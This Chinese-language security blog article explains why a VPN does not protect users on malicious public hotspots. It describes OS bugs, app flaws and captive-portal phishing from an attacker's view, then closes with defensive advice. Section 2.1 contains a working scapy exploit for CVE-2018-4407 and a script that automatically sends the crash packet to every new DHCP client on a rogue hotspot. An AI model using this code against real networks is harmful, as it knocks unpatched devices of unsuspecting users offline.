有VPN保护就可以随意连接公共热点?大错特错

1. 背景

提到公共热点、钓鱼热点或恶意热点,我们通常会提到可能存在攻击者在嗅探网络流量中的敏感信息,或者结合DNS劫持打造一个高仿真的钓鱼环境,给用户造成安全威胁。

许多安全从业者在接受采访或咨询时,会推荐在不安全的无线环境中开启VPN。目前国内许多手机应用还提供了免费的VPN功能,作为抵御恶意热点的安全解决方案来吸引用户下载安装。

然而许多产品在对外宣传描述时,存在描述过度或断章取义的情况,不自觉的去掉了限制条件,于是许多用户现在产生了这样的错觉:“只要使用VPN,就能抵御恶意热点中的一切攻击,随意连接WiFi热点也没关系了。”

随意搜了一下,在许多媒体文章中都是这个论调:

  • “专家认为,通过VPN来连接WiFi是非常安全的。”
  • “用户只需在移动端开启VPN,填入用户名和密码,就可以安心的在公共WiFi网络中上网了。”

这些描述都是不准确的,使用VPN的确能保护好设备的网络流量,但在恶意热点环境中的攻击威胁远不止如此。

通常,一个用户在连接公共热点时,往往通过如下步骤:

  1. 打开无线功能,选择并连接到目标热点。
  2. 通常需要通过Captive Portal强制门户页面进行认证获取网络权限。
  3. 获取到网络权限后,有安全意识的用户会开启VPN保护流量。

后文我将以实例说明,假设我是一名恶意热点搭建者,面对这些打算使用VPN进行保护的用户,我可以从哪些方面对他们造成威胁。

2.攻击威胁

2.1 系统层面的漏洞

最具影响力的便是操作系统本身的漏洞,对没有及时更新修复漏洞的设备来说是通杀的效果。

1)缓冲区溢出漏洞 CVE-2018-4407

CVE-2018-4407是安全研究员Kevin Backhouse 发现的XNU系统内核中的堆缓冲区溢出漏洞,攻击者可能利用缓冲区溢出进行远程代码执行。由于iOS和macOS都使用XNU,因此iPhone、iPad和MacBook均受到影响。

影响范围:

  • Apple iOS 11及更早版本:所有设备(升级到iOS 12的部分设备)
  • Apple macOS High Sierra(受影响的最高版本为10.13.6):所有设备
  • Apple macOS Sierra(受影响的最高版本为10.12.6):所有设备
  • Apple OS X El Capitan及更早版本:所有设备

Kevin在推特中给出了PoC和演示视频,利用该漏洞可以使得同一局域网下的Macbook和iPhone设备崩溃。

可以通过scapy工具来发送数据触发该漏洞:

1
2
3
from scapy.all import *

send(IP(dst="1.2.3.4",options=[IPOption("A"*18)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))

如果我们是一个钓鱼热点攻击者,想达到“自动”的效果很简单,定时监听当前网络活跃主机向其发送攻击代码即可。

假设使用了dnsmasq程序提供DHCP和DNS服务,dhcp池文件保存在‘/var/lib/misc/dnsmasq.leases’文件中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import os, time
from scapy.all import *

lines_old = 0
lines_new = 0
while 1:
lines_old = lines_new
if os.path.exists('/var/lib/misc/dnsmasq.leases'):
f = open('/var/lib/misc/dnsmasq.leases', 'r').readlines()
lines_new = len(f)
if lines_new > lines_old:
for i in range(lines_old, lines_new):
value = f[i].split()
if len(value) == 5:
print value[2] + ' ' + value[1] + ' ' + value[3] + ' Connect!'

for i in range(3):
#For Apple devices(CVE-2018-4407)
send(IP(dst=value[2],options=[IPOption("A"*18)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))
time.sleep(1)
time.sleep(3)

该段代码的作用是:每3秒读取一次dhcp文件,如果发现新的主机,生成exploit发向该设备。

如果这些苹果设备没有及时更新到漏洞修复的版本,就会出现如下图所示的崩溃效果:

2)永恒之蓝

永恒之蓝(EternalBlue)是美国国家安全局开发的漏洞利用程序,于2017年4月14日被黑客组织Shadow Brokers泄漏。该工具利用TCP445 port上的文件共享协议漏洞进行散播。

尽管微软于2017年3月14日发布操作系统补丁修补了这个漏洞,5月12日WannaCry勒索软件利用这个漏洞传播时,很多Windows用户仍然没有安装补丁,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。

永恒之蓝大家都很熟悉,就不继续详细说明了。对于热点网络中没有修复漏洞的Windows设备,我们已经可以获取到系统最高权限。

2.2 软件应用上的漏洞

除了操作系统本身外,我们安装的各类软件应用会开放一些服务,如果它们存在安全缺陷也会成为一个攻击点,比如前两天爆出的ES文件管理器的安全问题。

研究人员发现ES文件管理器启动后会创建本地HTTP服务器,在其所有后台服务被结束前该服务器始终开启,处于相同网络的任意用户可直接向安装 ES 管理器的设备发起攻击。

所以,当连入恶意热点的Android客户端后台开启了含有漏洞的ES文件浏览器时,我们甚至可以直接从设备上获取照片、视频、文档了。

顺便提一句,官方已经完成修复并上架应用市场,Android用户看到这记得升级一下。

2.3 利用Captive Portal进行钓鱼

如果无线客户端本身不存在漏洞,我们还可以利用Captive Portal来进行一些攻击。

前面提到用户在开启VPN前,需要经过Captive Portal强制门户的认证,大部分无线设备都会自动出来一个弹窗,如下图所示。

在打开的网页中,通常通过账号密码、手机验证码、微信认证等形式进行认证来开通网络权限,否者是没网的。

攻击者同样可以在恶意热点上实现Captive Portal认证,并自定义Portal主页对用户进行欺骗钓鱼,比如假言需要在表单中填入个人信息来换取免费使用网络,如下图所示。

简单来说,这利用了在开启VPN前,需要通过Portal页面开通网络权限的间歇进行了钓鱼攻击。

2.4 进一步利用Portal

在Pwn2own 2018上,有许多通过浏览器发起的攻击都利用到了WiFi Captive Portal的特性进行自动触发。

我们来仔细看看这个Portal浏览器,它与正常的系统浏览器是不一样的,出于安全考虑它并没有包含所有功能,比如Cookie、下载等功能都被限制了,但在部分手机系统上是支持URL Scheme的。

<scheme>://<host>:<port>/<path>?<query>

URL Scheme是iOS和Android提供给开发者的一种APP跳转方式。Android应用在Mainfest中注册自己的Scheme,iOS应用在APP属性中配置。配置完成后,就可以通过url的形式唤醒APP。比如可以利用这个技术,在Portal浏览器中调用微信进行认证。

后来我认真想了想,怎么滥用这个特性。

  1. 连接WiFi自动打开商品淘宝页
    portal_taobao

  2. 2019最新乞讨方式
    portal_alipay

后来发现三星已经发现并修复了这个利用Captive Portal自动重定向到第三方应用的问题(SVE-2018-13474)。

我就想着给自己用来测试的miui也提一个,正好他们也有SRC。结果被忽略了,因为他们觉得不属于miui的问题。

好吧。

3.总结

虽然我们的终端设备通常不会直接暴露在互联网上遭到攻击,但很难确保在各类无线网络中是否存在潜藏着的攻击者。

这篇文章想表达三个重点:

  1. VPN并不是公共热点的万能保护福,它能保护网络流量,但还可能遭到其他形式的攻击。
  2. 请对所有热点采取默认不信任态度,尽量不连接公共热点。
  3. 及时进行系统、软件的更新,确保对各类安全缺陷的修复。